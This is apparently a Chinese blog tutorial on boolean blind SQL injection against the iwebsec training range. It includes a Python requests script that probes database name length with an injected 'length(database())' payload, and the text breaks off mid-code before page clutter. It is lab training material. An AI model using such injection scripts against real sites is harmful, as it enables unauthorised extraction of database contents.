iwebsec靶场SQL注入-bool盲注

目录

iwebsec靶场在线网站

bool注入

安装requests库

判断注入点

*获取数据库长度(非必要)

*获取数据库名(非必要)

获取当前数据库的列名

获取数据库中的值

脚本全部代码


 


iwebsec靶场在线网站

iwebsec 靶场漏洞库

bool注入

bool注入是盲注的一种。它于报错注入不同,布尔注入没有任何报错信息输出,页面返回只有正常和不正常两种状态,攻击者只能通过返回的这两种状态来对其进行判断输入的SQL注入语句是否正确,从而判断数据库中存储了那些信息。

为了能够看见数据库中存储的信息,我选择的方法是用python编写一个脚本来对其进行输出

我们需要安装requests库

安装requests库

pip install requests

或者直接在pycharm的设置中

 到这里我们需要的准备工作也就完成了

判断注入点

这个是该页面正常的状态

当我们将id=100时发现有一行数据消失了

?id=100

根据这个消失的 welcome to iwebsec!!!我们可以通过这个开始注入

*获取数据库长度(非必要)

代码如下

import requests                          #调用requests库,requests用来发送http请求以及接收http响应的python第三方库
url="http://www.iwebsec.com:81/sqli/03.php"

def SQLlenth():
	for i in range(1,20):                                     #判断字符长度里面的数值可以改动
		payload="?id=1 and (length(database())={})--+".format(i)
		req_url=url+payload                                   #将URL和payload组合
		bool =requests.get(req_url)                         #requests.get返回的是一个Response对象,它包含有关服务器响应的信息,如状态码、响应头和响应内容。可以通过访问对应的属性来获取这些信息。例如,可以使用.status_code来获取响应的状态码,使用.text来获取响应的内容。
		if "welcome to iwebsec!!!" in bool.text:
			print("SQL length is "+str(i))

 从中不难看出数据库的长度为7

*获取数据库名(非必要)

为了获取数据库名,因为是盲注,所以只能进行一个一个的尝试。

这里使用的方法是二分法(后面的代码于这个相似后面就不做备注了),代码如下


def SQLname():
    name&
  • 2
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值